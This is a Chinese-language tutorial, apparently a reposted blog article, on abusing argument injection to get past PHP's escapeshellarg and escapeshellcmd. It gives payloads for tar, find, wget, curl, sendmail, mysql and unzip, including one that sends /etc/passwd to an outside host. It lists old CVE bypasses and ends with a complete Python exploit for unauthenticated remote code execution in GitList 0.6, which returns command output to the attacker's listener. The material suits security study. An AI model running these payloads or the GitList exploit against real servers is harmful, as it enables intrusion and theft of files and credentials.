php escapeshellcmd,利用/绕过 PHP escapeshellarg/escapeshellcmd函数
escapeshellarg和escapeshellcmd的功能
escapeshellarg
1.確保用戶只傳遞一個參數給命令
2.用戶不能指定更多的參數一個
3.用戶不能執(zhí)行不同的命令
escapeshellcmd
1.確保用戶只執(zhí)行一個命令
2.用戶可以指定不限數量的參數
3.用戶不能執(zhí)行不同的命令
讓我們用groups去打印組里每個username成員
$username = 'myuser';
system('groups '.$username);
=>
myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare
但是攻擊者可以在username里使用;或者||
在Linux里,這意味著第二個命令可以在第一個之后被執(zhí)行
$username = 'myuser;id';
system('groups '.$username);
=>
myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare
uid=33(www-data) gid=33(www-data) groups=33(www-data)
為了防止這一點,我們使用escapeshellcmd
現在攻擊者不能允許第2個命令了
$username = 'myuser;id';
// escapeshellcmd adds before ;
system(escapeshellcmd('groups '.$username));
=>
(nothing)
為什么會這樣?因為php內部運行了這樣的命令
$ groups myuser;id
groups: ?myuser;id”: no such user
myuser;id被當成了一個字符串
但是在這種方法中,攻擊者可以指定更多參數groups
例如,他一次檢測多個用戶
$username = 'myuser1 myuser2';
system('groups '.$username);
=>
myuser1 : myuser1 adm cdrom sudo
myuser2 : myuser2 adm cdrom sudo
假設我們希望允許每個腳本執(zhí)行僅檢查一個用戶:
$username = 'myuser1 myuser2';
system('groups '.escapeshellarg($username));
=>
(noting)
為什么會這樣?因為現在$username被視為單個參數:
$ groups 'myuser1 myuser2'
groups: "myuser1 myuser2": no such user
已知的繞過/利用
當你想利用這些功能時,你有兩個選擇:
如果PHP版本非常老,你可以嘗試一個歷史漏洞,
否則你需要嘗試參數注入技術。
參數注入
從上一章可以看到,使用escapeshellcmd / escapeshellarg時不可能執(zhí)行第二個命令。
但是我們仍然可以將參數傳遞給第一個命令。
這意味著我們也可以將新選項傳遞給命令。
利用漏洞的能力取決于目標可執(zhí)行文件。
您可以在下面找到一些已知可執(zhí)行文件的列表,其中包含一些可能被濫用的特定選項。
TAR
壓縮some_file到/tmp/sth
$command = '-cf /tmp/sth /some_file';
system(escapeshellcmd('tar '.$command));
創(chuàng)建一個空文件/tmp/exploit
$command = "--use-compress-program='touch /tmp/exploit' -cf /tmp/passwd /etc/passwd";
system(escapeshellcmd('tar '.$command));
FIND
在/tmp目錄查找文件some_file
$file = "some_file";
system("find /tmp -iname ".escapeshellcmd($file));
打印/etc/passwd內容
$file = "sth -or -exec cat /etc/passwd ; -quit";
system("find /tmp -iname ".escapeshellcmd($file));
Escapeshellcmd和escapeshellarg
在這個配置中,我們可以傳遞第二個參數給函數。
列出/tmp目錄并忽略sth文件
$arg = "sth";
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));
在/tmp目錄中列出文件并忽略sth。使用長列表格式。
$arg = "sth' -l ";
// ls --ignore='exploit'\'' -l ' /tmp
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));
例如:WGET,下載example.php
$url = 'http://example.com/example.php';
system(escapeshellcmd('wget '.$url));
保存.php文件到指定目錄
$url = '--directory-prefix=/var/www/html http://example.com/example.php';
system(escapeshellcmd('wget '.$url));
用.bat執(zhí)行命令
打印somedir中的文件列表
$dir = "somedir";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir));
system('out.bat');
并且執(zhí)行whoami命令
$dir = "somedir x1a whoami";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir));
system('out.bat');
SENDMAIL
$from = 'from@sth.com';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');
打印/etc/passwd內容
$from = 'from@sth.com -C/etc/passwd -X/tmp/output.txt';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');
CURL
$url = 'http://example.com';
system(escapeshellcmd('curl '.$url));
發(fā)送/etc/passwd內容到http://example.com
$url = '-F password=@/etc/passwd http://example.com';
system(escapeshellcmd('curl '.$url));
你可以得到文件內容,使用如下payload:
file_put_contents('passwords.txt', file_get_contents($_FILES['password']['tmp_name']));
MYSQL
執(zhí)行sql語句
$sql = 'SELECT sth FROM table';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));
運行id命令
$sql = '! id';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));
UNZIP
從archive.zip解壓所有*.tmp文件到/tmp目錄
$zip_name = 'archive.zip';
system(escapeshellcmd('unzip -j '.$zip_name.' *.txt -d /aa/1'));
從archive.zip解壓所有*.tmp文件到/var/www/html目錄
$zip_name = '-d /var/www/html archive.zip';
system('unzip -j '.escapeshellarg($zip_name).' *.tmp -d /tmp');
如果未設置LANG環(huán)境變量,則去除非ASCII字符
$filename = 'résumé.pdf';
// string(10) "'rsum.pdf'"
var_dump(escapeshellarg($filename));
setlocale(LC_CTYPE, 'en_US.utf8');
//string(14) "'résumé.pdf'"
var_dump(escapeshellarg($filename));
經典EXP
PHP <= 4.3.6 on Windows – CVE-2004-0542
$find = 'word';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');
同時運行dir命令.
$find = 'word " c:\where\ || dir || ';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');
PHP 4 <= 4.4.8 and PHP 5 <= 5.2.5 – CVE-2008-2051
Shell需要使用GBK,EUC-KR,SJIS等可變寬度字符集的語言環(huán)境。
$text = "sth";
system(escapeshellcmd("echo ".$text));
$text = "sth xc0; id";
system(escapeshellcmd("echo ".$text));
或者
$text1 = 'word';
$text2 = 'word2';
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
$text1 = "word xc0";
$text2 = "; id ; #";
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
PHP < 5.4.42, 5.5.x before 5.5.26, 5.6.x before 5.6.10 on Windows – CVE-2015-4642
額外傳遞的第三個參數(—param3)。
$a = 'param1_value';
$b = 'param2_value';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
$a = 'a\';
$b = 'b -c --param3\';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
PHP 7.x before 7.0.2 – CVE-2016-1904
如果將1024mb字符串傳遞給escapeshellarg,則導致緩沖區(qū)溢出escapeshellcmd。
PHP 5.4.x < 5.4.43 / 5.5.x < 5.5.27 / 5.6.x < 5.6.11 on Windows
啟用EnableDelayedExpansion后,展開一些環(huán)境變量。
然后!STH!運行類似于%STH%
escapeshellarg不會過濾!字符
EnableDelayedExpansion以在HKLM或HKCU下的注冊表中設置:
[HKEY_CURRENT_USERSoftwareMicrosoftCommand Processor]
"DelayedExpansion"= (REG_DWORD)
1=enabled 0=disabled (default)
例如:
// Leak appdata dir value
$text = '!APPDATA!';
print "echo ".escapeshellarg($text);
PHP < 5.6.18
功能定義于ext/standard/exec.c,運行類似于(escapeshellcmd,eschapeshellarg,shell_exec),忽略PHP字符串的長度,并用NULL終止工作代替。
echo escapeshellarg("helloworld");
=>
hello
GitList RCE漏洞利用
文件src/Git/Repository.php
public function searchTree($query, $branch)
{
if (empty($query)) {
return null;
}
$query = escapeshellarg($query);
try {
$results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
} catch (RuntimeException $e) {
return false;
}
}
簡化后
$query = 'sth';
system('git grep -i --line-number '.escapeshellarg($query).' *');
當我們查看git grep文檔時
--open-files-in-pager[=]
Open the matching files in the pager (not the output of grep). If the pager happens to be "less" or "vi", and the user specified only one pattern, the first file is positioned at the first match automatically.
所以基本上--open-files-in-pager就像是在-exec中執(zhí)行find.
$query = '--open-files-in-pager=id;';
system('git grep -i --line-number '.escapeshellarg($query).' *');
當我們輸入這些進控制臺
$ git grep -i --line-number '--open-files-in-pager=id;' *
uid=1000(user) gid=1000(user) grupy=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
id;: 1: id;: README.md: not found
最后的exp:
import requests
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import urlparse
import urllib
import threading
import time
import os
import re
url = 'http://192.168.1.1/gitlist/'
command = 'id'
your_ip = '192.168.1.100'
your_port = 8001
print "GitList 0.6 Unauthenticated RCE"
print "by Kacper Szurek"
print "https://security.szurek.pl/"
print "REMEMBER TO DISABLE FIREWALL"
search_url = None
r = requests.get(url)
repos = re.findall(r'/([^/]+)/master/rss', r.text)
if len(repos) == 0:
print "[-] No repos"
os._exit(0)
for repo in repos:
print "[+] Found repo {}".format(repo)
r = requests.get("{}{}".format(url, repo))
files = re.findall(r'href="[^"]+blob/master/([^"]+)"', r.text)
for file in files:
r = requests.get("{}{}/raw/master/{}".format(url, repo, file))
print "[+] Found file {}".format(file)
print r.text[0:100]
search_url = "{}{}/tree/{}/search".format(url, repo, r.text[0:1])
break
if not search_url:
print "[-] No files in repo"
os._exit(0)
print "[+] Search using {}".format(search_url)
class GetHandler(BaseHTTPRequestHandler):
def do_GET(self):
parsed_path = urlparse.urlparse(self.path)
print "[+] Command response"
print urllib.unquote_plus(parsed_path.query).decode('utf8')[2:]
self.send_response(200)
self.end_headers()
self.wfile.write("OK")
os._exit(0)
def log_message(self, format, *args):
return
def exploit_server():
server = HTTPServer((your_ip, your_port), GetHandler)
server.serve_forever()
print "[+] Start server on {}:{}".format(your_ip, your_port)
t = threading.Thread(target=exploit_server)
t.daemon = True
t.start()
print "[+] Server started"
r = requests.post(search_url, data={'query':'--open-files-in-pager=php -r "file_get_contents(\"http://{}:{}/?a=\".urlencode(shell_exec(\"{}\")));"'.format(your_ip, your_port, command)})
while True:
time.sleep(1)
總結
以上是生活随笔為你收集整理的php escapeshellcmd,利用/绕过 PHP escapeshellarg/escapeshellcmd函数的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: mysql 常用数据库连接池_常见的数据
- 下一篇: python 获取文件大小_第41p,超